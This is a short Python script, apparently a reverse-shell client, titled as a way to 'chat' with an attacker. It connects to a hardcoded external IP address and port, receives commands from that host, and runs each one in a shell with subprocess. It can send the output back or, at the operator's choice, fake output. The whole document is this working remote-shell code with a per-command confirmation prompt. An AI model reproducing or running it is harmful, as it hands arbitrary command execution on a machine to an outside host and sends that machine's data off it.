remote shell chat script with attacker

script.py

import socket
import subprocess


def main():
    ip_address = '3.221.152.203'
    port = 771
    print(f'connecting to {ip_address}:{port}')
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (ip_address, port)
    sock.connect(server_address)

    while True:
        data = sock.recv(2048)
        command = data.decode()
        print(f'received command from attacker: {command}')
        if input(f'execute command?: ').lower() not in {'y', 'yes'}:
            stdout = input(f'fake output: ')
            stdout = stdout.encode()
            sock.sendall(stdout)
            continue

        process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
        stdout, stderr = process.communicate()
        print(f'command output: {stdout.decode()}')
        if input(f'send command output?: ').lower() not in {'y', 'yes'}:
            break

        sock.sendall(stdout)
    sock.close()


if __name__ == '__main__':
    main()